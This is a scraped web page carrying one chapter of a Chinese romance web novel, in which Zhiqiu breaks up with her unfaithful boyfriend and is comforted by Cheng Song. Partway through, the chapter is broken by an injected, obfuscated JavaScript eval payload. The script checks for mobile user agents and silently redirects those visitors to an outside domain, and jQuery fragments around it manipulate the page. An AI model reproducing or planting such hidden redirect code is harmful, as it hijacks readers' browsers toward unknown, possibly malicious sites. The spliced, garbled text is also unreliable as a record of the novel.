明松雪 作品

4. 第 4 章(第2页)

“嗯。”

承凇看了她一眼,轻轻抬了抬下巴,示意她可以离开了。

植秋进到门内,转过身时,大门即将关闭的一瞬,她仿若看到了承凇的脸,随着车玻璃的上摇,慢慢隐匿。

地面已然被收拾得干净,原先被打翻的蛋糕与杯盘,早已不知去向,此时屋内已恢复到最初的模样,丝毫不见她与徐玳争吵的痕迹。

徐玳此时正在客厅的落地窗边,视线向下,不知道在看什么。

听到门口的动静,他下意识看过来,忙走到门口,拉过植秋,眼眶发红。

“宝贝,你生气了吗,我,我这不是回来了——”

他看着植秋的手。

“刚才发脾气了吧,手有没有被扎破。”

“如果不小心落了疤,那就不好看了。”

徐玳将植秋揽进怀里。

他的怀抱依旧很温暖,植秋过去很贪恋他的拥抱,难过时,他宽厚的肩膀就像给她无尽的依靠。她想,她是很依赖徐玳的,第一个爱上的人,总有股魔力。

这股魔力,使得她一次次退让。

她并非什么都不懂。

只是因为太爱。

徐玳曾抱着她,微仰着头说:“把我的能量,全部给我的植秋吧。”

“哪怕我只剩下一滴血,只要能让她温暖就好了。”

而今天,靠在徐玳的怀里,植秋依旧感到很冷,身体簌簌的,像秋风里的叶子,摇摇欲坠,徐玳回来了,她像是什么宝物失而复得了似的,可恍惚之中,她总有种错觉,只感到徐玳很远。

直至她闻到了一股味道。

那是属于这个季节的味道,却不属于他身上的,女人冷香的味道。

与在专柜的那天如出一辙。

植秋似乎一瞬间醒了。

她面无表情地推开了他。

“徐玳,你还不打算说实话吗?”

植秋一字一顿:“你今天晚上,到底去了哪里?”<

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129063|180198||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

p>徐玳仍是笑着:“我还能去哪里?”

“就我爸,忽然说要和我商量一个项目——”

“大晚上的商量项目?”植秋冷着语气,“我怎么不知道你爸还有喷香水的习惯?喷的还是女士香水?”

徐玳听罢,撩起衣服闻了闻。

“你爸是女装大佬,隐藏得够深啊。”

“植秋。”

徐玳放下衣服,他看着植秋,阴沉着脸:“你不要胡说八道。”

“我胡说八道?”

植秋甩开徐玳的手:“徐玳,你讲不讲理!你现在已经在我眼前毫不避讳了是吗?”

徐玳不再解释,他陷进沙发里,点了根烟,烟灰簌簌,落到地上。

一股烟味飘过来。

植秋忍无可忍:“能不能不要在我面前抽烟!”

眼见大战一触即发,植秋脑袋一阵晕眩,她扶着头,忽然感到心累,望着徐玳的脸,植秋的怒火像气球似的,在胸腔快要爆裂,她张了张嘴,居然连一句完整的话也说不出。

“分手。”

植秋平静撂下两个字。

徐玳抬起头。

“什么?”

“我说,分手。”

植秋重复了一遍。

徐玳指间的烟还在燃烧。

他明显听清了,嗤了一声,只是他仍岿然在原地,冷眼望着植秋在房间进进出出,直至她拎了一只行李箱出来,徐玳才终于站起来,挡住了植秋的去路。

“植秋。”

他压低了声音,叹口气,他扶住植秋的肩膀,用力按了下。

“你到底闹够了没有。”

徐玳声音明显有了不耐烦。

植秋缓缓放下了行李箱。

“徐玳,我说过的。”

“今晚你要是出去。”

植秋一字一顿:“我们就完了。”

徐玳还欲解释:“不是,我就只是出去了一趟,这怎么就成了了不得的事情了。”

植秋打断了徐玳的话。

她摇了摇头:“你以后去哪里,再也不重要了。”

“没关系,我不在乎了。”

说着,她便推门而出。

“植秋!”

徐玳喊了她一声。

植秋低着头,没有理会他。她将门摔上,将徐玳一并摔在了屋里。

站在门口,她再次回望了一眼这个屋子,泪水不知何时早已流了满面。

她蹲在地上,擦了一把脸颊,可泪水像决堤一般,止不住地流。

难道就这样潦草收场了吗。

属于他们的四年。

植秋余光看着那扇门,可那扇门屹立,始终没有打开,她不禁为自己感到可笑,事到如今,还抱有莫名的期待。

或许女人总是更长情些,男人总是借着女人长情的弱点,在危险的边缘试探又试探。

植秋把眼睛擦了又擦,可眼睛像海绵,总还有水,滤不干净似的。

深夜,晚风凉了几度,吹过植秋的脚面,她挺住了抽泣,身体顿时冷下去,身体颤抖,像筛糠似的,止不住发抖。

四周静悄悄,植秋的心头悄然浮起一股恐惧。

有人的脚步声传来。

植秋来不及抬头,眼前便被一道身影覆盖。她心头被扼住,忍不住靠向大门,试图寻求一个支点,但大门紧锁,她退无可退,植秋猛然抬头,恐惧袭来,让她想下意识大喊。

“救——”

“是我。”

是熟悉的声音,植秋愣住了,这才慢慢看清来人的脸,在月光与灯光的映衬下,植秋提到嗓子眼的心,又缓缓降落下来。

是承淞。

承凇慢慢蹲下身。

他的表情很淡,描在攻击性极强的英俊眉目间,显得有点讽刺,他伸出手来,在植秋的额头中央戳了一下。

“你哭起来真的很难看,植秋。”

植秋的眼眶再次红起来。她下意识抓住了承凇的袖子,在这无边的黑夜里,她能依靠的,似乎只剩下了承凇的这半截衣袖。

她说:“再也不会有人爱我了,承淞。”

“再也不会有人了。”

承凇微偏了头,他抽回了手,植秋的手里一下没了支点,她有点惶恐,身体也像失去了支撑似的,立在原地,摇摇欲坠。

忽然,她感到身体被托住,植秋好像终于又能站立了,她回过神,只见承淞面无表情,那只一直插在口袋里的手,此刻正托着她的胳膊。

“会有的。”

他忽然用了一种很轻的语气。

“会有人爱你的。”